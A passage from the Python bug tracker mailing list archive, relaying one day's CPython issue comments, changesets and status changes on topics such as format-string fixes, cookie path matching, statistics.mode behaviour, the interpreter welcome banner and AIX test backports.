In-Reply-To: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>
Message-ID: <1552213761.33.0.56553003662.issue36251@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 8b91edadc06dcb0d391a65d1ecdf07dcb429df1b by Serhiy Storchaka (sth) in branch 'master':
bpo-36251: Fix format strings used in match_repr() and stdprinter_repr(). (GH-12252)
https://github.com/python/cpython/commit/8b91edadc06dcb0d391a65d1ecdf07dcb429df1b


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:29:41 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 10:29:41 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
In-Reply-To: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>
Message-ID: <1552213781.61.0.999480347816.issue36251@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12248

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:30:22 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 10 Mar 2019 10:30:22 +0000
Subject: [issue19702] Update pickle to take advantage of PEP 451
In-Reply-To: <1385624711.1.0.561130815884.issue19702@psf.upfronthosting.co.za>
Message-ID: <1552213822.16.0.718657979377.issue19702@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Just noting that PEP 499 covers adding modules executed with `-m` to `sys.modules` under their real name in addition to `__main__`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19702>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:44:49 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:44:49 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
Message-ID: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The proposed patch fixes invalid uses of %d in format strings in C (mostly when the argument has type Py_ssize_t or size_t).

----------
components: Extension Modules, Interpreter Core
messages: 337606
nosy: serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Fix invalid uses of %d in format strings in C
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:47:12 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:47:12 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552214832.19.0.631085412565.issue36254@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12249
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:52:58 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 10:52:58 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
In-Reply-To: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>
Message-ID: <1552215178.33.0.842040699574.issue36251@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset e4be2057d4bd06eb56fbfef4e4ed88fff7fb47cd by Miss Islington (bot) in branch '3.7':
bpo-36251: Fix format strings used in match_repr() and stdprinter_repr(). (GH-12252)
https://github.com/python/cpython/commit/e4be2057d4bd06eb56fbfef4e4ed88fff7fb47cd


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:56:34 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:56:34 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
In-Reply-To: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>
Message-ID: <1552215394.96.0.518100598865.issue36251@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thank you for your contribution Stephan!

Versions older than 3.6 take only security fixes.

See also issue36254.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> behavior
versions:  -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:57:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:57:06 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552215426.0.0.0237414370307.issue36254@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

See also issue36251.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:26:37 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 10 Mar 2019 11:26:37 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1552217197.89.0.637798907185.issue35807@roundup.psfhosted.org>


Change by Nick Coghlan <ncoghlan at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:27:49 2019
From: report at bugs.python.org (Cristi Fati)
Date: Sun, 10 Mar 2019 11:27:49 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
In-Reply-To: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>
Message-ID: <1552217269.0.0.904590293121.issue36247@roundup.psfhosted.org>


Cristi Fati <cristifati0 at gmail.com> added the comment:

Hm, I assumed that a bad password, will raise an exception (at some point). but, if it doesn't, the destination file will be overwritten (with the messed up content), which also happens now (so, no behavior change).

This is trying to make wrong passwords behavior (when an exception is raised) consistent.

What I can think of is that when some bytes were already extracted when the exception occurs, overwrite the existing file (if any), so at the end the faulty content will be kept (although I don't know haw this could help anyone), but in any case a 0 lengthed file is not a good option (from my PoV).

Of course specifying another dir is an option, but I only see it as a workaround.

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:30:15 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 10 Mar 2019 11:30:15 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552217415.97.0.672857017823.issue21314@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:


New changeset 1aeeaeb79efa4de41f97b58547e23c2965ecabc5 by Nick Coghlan (Lysandros Nikolaou) in branch 'master':
bpo-21314: Add a FAQ entry about positional only parameters (GH-10641)
https://github.com/python/cpython/commit/1aeeaeb79efa4de41f97b58547e23c2965ecabc5


----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:30:24 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 11:30:24 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552217424.63.0.39616977516.issue21314@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12250

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:36:20 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 11:36:20 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552217780.69.0.849692545926.issue21314@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 87f5255cdc9aa737d445b5813e52c41e5266a862 by Miss Islington (bot) in branch '3.7':
bpo-21314: Add a FAQ entry about positional only parameters (GH-10641)
https://github.com/python/cpython/commit/87f5255cdc9aa737d445b5813e52c41e5266a862


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Sun Mar 10 07:46:02 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 10 Mar 2019 11:46:02 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552218362.82.0.405955706768.issue21314@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

I went ahead and merged Lysandros's new FAQ entry (Thank you Lysandros!), as having some level of documentation for this notation is markedly better than the previous "none at all", and the PR added cross-references from the builtins and inspect module docs in addition to adding the FAQ itself.

However, I'm not closing the issue yet as:

- the exact wording could likely stand to be tweaked a bit (in particular, I'm not sure it's a good idea to reference PEP 570 from the FAQ entry)

- we may want to enhance pydoc itself to explain the notation inline (e.g. by appending a footer saying "Note: parameters to the left of ``/`` entries are positional only and cannot be passed by name" after the docstring being displayed when positional only parameters are found, and "Note: parameters to the right of ``*`` and ``*name`` entries are keyword only and can only be passed by name" when keyword only parameters are found)

- we may want to file a follow-up issue proposing that `pydoc` go back to either not marking positional-only parameters at all, or marking them differently (e.g. with "Note: *x*, *y*, and *z* are positional only parameters that cannot be passed by name" after the individual callable docstrings)

----------
nosy: +rhettinger -miss-islington
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Sun Mar 10 08:50:25 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 12:50:25 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552222225.12.0.800422305639.issue36239@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:17:29 2019
From: report at bugs.python.org (Benoit Pilatte)
Date: Sun, 10 Mar 2019 14:17:29 +0000
Subject: [issue36255] Provide a simple way to delete python's welcome message
Message-ID: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>


New submission from Benoit Pilatte <ben.pilatte at gmail.com>:

To my knowledge and extensive research on the problem, there is no simple way to disable python's welcome message:

"""
Python 3.7.2 (default, Jan 13 2019, 12:50:01)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
"""

It is appended to stdout before the execution of `PYTHONSTARTUP` and is very difficult to remove. This could be easily fixed by:

 1. Allowing modification of the welcome message in `PYTHONSTARTUP`
 2. Provide an option to disable it (IPython provides a `--no-banner` option to disable it)
 3. At least provide a documented way of disabling it without hijacking the shell.

----------
components: Interpreter Core
messages: 337614
nosy: benp
priority: normal
severity: normal
status: open
title: Provide a simple way to delete python's welcome message
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:19:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 10 Mar 2019 14:19:10 +0000
Subject: [issue36255] Provide a simple way to delete python's welcome message
In-Reply-To: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>
Message-ID: <1552227550.81.0.969800357203.issue36255@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Does python -q help in this case?

$ python -q
>>>

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:22:25 2019
From: report at bugs.python.org (Benoit Pilatte)
Date: Sun, 10 Mar 2019 14:22:25 +0000
Subject: [issue36255] Provide a simple way to delete and edit python's welcome
 message
In-Reply-To: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>
Message-ID: <1552227745.72.0.681420833818.issue36255@roundup.psfhosted.org>


Change by Benoit Pilatte <ben.pilatte at gmail.com>:


----------
title: Provide a simple way to delete python's welcome message -> Provide a simple way to delete and edit python's welcome message

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:27:45 2019
From: report at bugs.python.org (Benoit Pilatte)
Date: Sun, 10 Mar 2019 14:27:45 +0000
Subject: [issue36255] Provide a simple way to delete and edit python's welcome
 message
In-Reply-To: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>
Message-ID: <1552228065.1.0.926878464713.issue36255@roundup.psfhosted.org>


Benoit Pilatte <ben.pilatte at gmail.com> added the comment:

Yes, I forgot about that, but is there a way to edit it ? 
I just want to add a line after the first one to give system information.
Disabling it and re-printing it seams a bit overkill and I don't want to alias `python` to `python -q`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:42:03 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 10 Mar 2019 14:42:03 +0000
Subject: [issue36255] Provide a simple way to delete and edit python's welcome
 message
In-Reply-To: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>
Message-ID: <1552228923.8.0.58905526063.issue36255@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Why do you want to disable the welcome message?

> I just want to add a line after the first one to give system information.

Sounds like you just want to print something extra, after the welcome message has been printed.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:49:13 2019
From: report at bugs.python.org (SilentGhost)
Date: Sun, 10 Mar 2019 14:49:13 +0000
Subject: [issue36255] Provide a simple way to delete and edit python's welcome
 message
In-Reply-To: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>
Message-ID: <1552229353.54.0.770630455812.issue36255@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

You could define PYTHONSTARTUP variable and modify everything to your heart's content. https://docs.python.org/3/using/cmdline.html#envvar-PYTHONSTARTUP

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 12:36:59 2019
From: report at bugs.python.org (A. Skrobov)
Date: Sun, 10 Mar 2019 16:36:59 +0000
Subject: [issue36256] parser module fails on legal input
Message-ID: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>


New submission from A. Skrobov <tyomitch at gmail.com>:

Under #26526, I had optimised the validation code in parser module to use the actual parser DFAs, but my code considers only the token types in the input, and doesn't distinguish between different NAMEs (e.g. different keywords).

The result is this:

Python 3.7.0 (default, Aug 22 2018, 20:50:05) 
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import parser
>>> parser.sequence2st(parser.suite("if True:\n pass\nelse:\n pass").totuple())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
parser.ParserError: Expected node type 305, got 11.

The fix for this bug is quite simple, and in fact, it had been languishing for 2.5 years under #26415

I can easily enough extract the fix into a PR of its own, but the bigger question is: parser module had been advised against using since Python 2.5; now that it has been broken for 2.5 years, nobody even noticed. (if-else must be quite a common code construct, so anybody trying to use the module would have noticed!) So, should perhaps the module be discontinued rather than fixed?

----------
components: Extension Modules
messages: 337619
nosy: A. Skrobov, benjamin.peterson, berker.peksag, brett.cannon, fdrake, giampaolo.rodola, gregory.p.smith, pablogsal, python-dev, serhiy.storchaka, xcombelle
priority: normal
severity: normal
status: open
title: parser module fails on legal input
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Sun Mar 10 12:42:03 2019
From: report at bugs.python.org (Henry Chen)
Date: Sun, 10 Mar 2019 16:42:03 +0000
Subject: [issue28956] return list of modes for a multimodal distribution
 instead of raising a StatisticsError
In-Reply-To: <1481602901.85.0.570887953824.issue28956@psf.upfronthosting.co.za>
Message-ID: <1552236123.55.0.0109643281436.issue28956@roundup.psfhosted.org>


Henry Chen <tahafut at gmail.com> added the comment:

The problem remains that the function can return a number or a list for input that is a list of numbers. This means the user will need to handle both possibilities every time, which is a heavy burden for such a simple function.

SciPy's mode function does return the minimum mode when there is a tie, which as far as I can tell is an arbitrary choice. But in that context, since the input is almost always numerical, a minimum is at least well defined, which is not true for an input with a mix of types.

For the general use case, the current behavior - raising an exception - in case of tie conveys the most information.

----------
nosy: +scotchka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28956>
_______________________________________

From report at bugs.python.org  Sun Mar 10 12:58:19 2019
From: report at bugs.python.org (Steve Dower)
Date: Sun, 10 Mar 2019 16:58:19 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552237099.75.0.0334140261198.issue36241@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Confirmed. Neither was compromised, the only change was that the previous MSI did not have an embedded Authenticode signature.

I didn't even rebuild the MSI, tbh. I went back to my (secure, controlled) build machine and signed it manually.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:10:13 2019
From: report at bugs.python.org (Henry Chen)
Date: Sun, 10 Mar 2019 17:10:13 +0000
Subject: [issue28956] return list of modes for a multimodal distribution
 instead of raising a StatisticsError
In-Reply-To: <1481602901.85.0.570887953824.issue28956@psf.upfronthosting.co.za>
Message-ID: <1552237813.22.0.712242890063.issue28956@roundup.psfhosted.org>


Henry Chen <tahafut at gmail.com> added the comment:

Yes, the mode function could ALWAYS return a list, but that breaks backward compatibility, as does the currently proposed change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28956>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:12:40 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Sun, 10 Mar 2019 17:12:40 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552237960.05.0.75149208708.issue35647@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:


New changeset 0e1f1f01058bd4a9b98cfe443214adecc019a38c by Senthil Kumaran (Xtreak) in branch 'master':
bpo-35647: Fix path check in cookiejar (#11436)
https://github.com/python/cpython/commit/0e1f1f01058bd4a9b98cfe443214adecc019a38c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:12:44 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 17:12:44 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552237964.71.0.462187130178.issue35647@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12251

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:12:54 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 17:12:54 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552237974.93.0.00124586462288.issue35647@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12252

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:13:43 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Sun, 10 Mar 2019 17:13:43 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552238023.17.0.338735922311.issue35647@roundup.psfhosted.org>


Change by Senthil Kumaran <senthil at uthcode.com>:


----------
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 13:30:39 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 17:30:39 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552239039.59.0.931164314867.issue35647@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 97c7d78fda49e03fc773c171ce0c736d02bb73f5 by Miss Islington (bot) in branch '3.7':
bpo-35647: Fix path check in cookiejar (GH-11436)
https://github.com/python/cpython/commit/97c7d78fda49e03fc773c171ce0c736d02bb73f5


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:04:21 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 10 Mar 2019 18:04:21 +0000
Subject: [issue28956] return list of modes for a multimodal distribution
 instead of raising a StatisticsError
In-Reply-To: <1481602901.85.0.570887953824.issue28956@psf.upfronthosting.co.za>
Message-ID: <1552241061.21.0.762020656515.issue28956@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

See the competing proposal and PR at https://bugs.python.org/issue35892 and https://github.com/python/cpython/pull/12089

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28956>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:08:49 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 10 Mar 2019 18:08:49 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552241329.58.0.380954037591.issue35892@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Steven, are you okay with applying this PR so we can put this to rest, cleanly and permanently?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:25:48 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:25:48 +0000
Subject: [issue35704] On AIX,
 test_unpack_archive_xztar fails with default MAXDATA settings
In-Reply-To: <1547111571.31.0.315459583294.issue35704@roundup.psfhosted.org>
Message-ID: <1552242348.79.0.61270808507.issue35704@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to 3.7 and 3.6 please?

----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35704>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:26:52 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:26:52 +0000
Subject: [issue34720] Fix test_importlib.test_bad_traverse for AIX
In-Reply-To: <1537272185.7.0.956365154283.issue34720@psf.upfronthosting.co.za>
Message-ID: <1552242412.31.0.187870345181.issue34720@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to 3.6 and 3.7 please?

----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34720>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:31:34 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:31:34 +0000
Subject: [issue34720] Fix test_importlib.test_bad_traverse for AIX
In-Reply-To: <1537272185.7.0.956365154283.issue34720@psf.upfronthosting.co.za>
Message-ID: <1552242694.97.0.904488479835.issue34720@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

could this be backported to versions 3.7, and if applicable, to version 3.6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34720>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:34:12 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:34:12 +0000
Subject: [issue35633] test_eintr fails on AIX since fcntl functions were
 modified
In-Reply-To: <1546366148.3.0.0239151726659.issue35633@roundup.psfhosted.org>
Message-ID: <1552242852.37.0.50795460532.issue35633@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to version 3.6?

----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35633>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:37:06 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:37:06 +0000
Subject: [issue34490] transport.get_extra_info('sockname') of test_asyncio
 fails on AIX
In-Reply-To: <1535143580.27.0.56676864532.issue34490@psf.upfronthosting.co.za>
Message-ID: <1552243026.41.0.995618640019.issue34490@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to Version 3.6?

----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34490>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:37:35 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 10 Mar 2019 18:37:35 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552243055.29.0.709423155611.issue35647@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

The backport to 3.5 might require manual work since I used f-strings for tests that are not present in 3.5 and below. 2.7 is also affected and as I backported the tests and cookie set with path=/foo is sent on request to /foobad/foo . The module is present under Lib/cookielb.py and might also require a different backport. Since this applies RFC 6265 definition that is more stricter and concrete than RFC 2965 I am not sure if this might break someone's code though there is a bug in the paths to which the cookie is sent. I am adding Larry and Benjamin who can take a call on backport and if a backport is needed I will be happy to open respective PRs.

The code in 2.7 also performs the same prefix match at https://github.com/python/cpython/blob/55438d713978a1913ef12c8a801848626228aad6/Lib/cookielib.py#L1182 that was fixed as per RFC 6265 .

    def path_return_ok(self, path, request):
        _debug("- checking cookie path=%s", path)
        req_path = request_path(request)
        if not req_path.startswith(path):
            _debug("  %s does not path-match %s", req_path, path)
            return False
        return True


$ ./python.exe
Python 2.7.16+ (remotes/upstream/2.7-dirty:55438d7139, Mar 10 2019, 23:35:15)
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>>
$ ./python.exe -m unittest -v test.test_cookielib.CookieTests.test_path_prefix_match
test_path_prefix_match (test.test_cookielib.CookieTests) ... FAIL

======================================================================
FAIL: test_path_prefix_match (test.test_cookielib.CookieTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/test_cookielib.py", line 673, in test_path_prefix_match
    self.assertNotIn('spam=eggs', h, "cookie set for {0}".format(path))
AssertionError: cookie set for /foobad/foo

----------------------------------------------------------------------
Ran 1 test in 0.010s

FAILED (failures=1)

----------
nosy: +benjamin.peterson, larry
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:38:00 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:38:00 +0000
Subject: [issue34711] Lib/http/server.py: Return HTTPStatus.NOT_FOUND if
 path.endswith(/) and not a directory
In-Reply-To: <1537179798.31.0.956365154283.issue34711@psf.upfronthosting.co.za>
Message-ID: <1552243080.9.0.403876519532.issue34711@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to Version 3.7 and 3.6?

----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34711>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:40:56 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:40:56 +0000
Subject: [issue11192] test_socket error on AIX
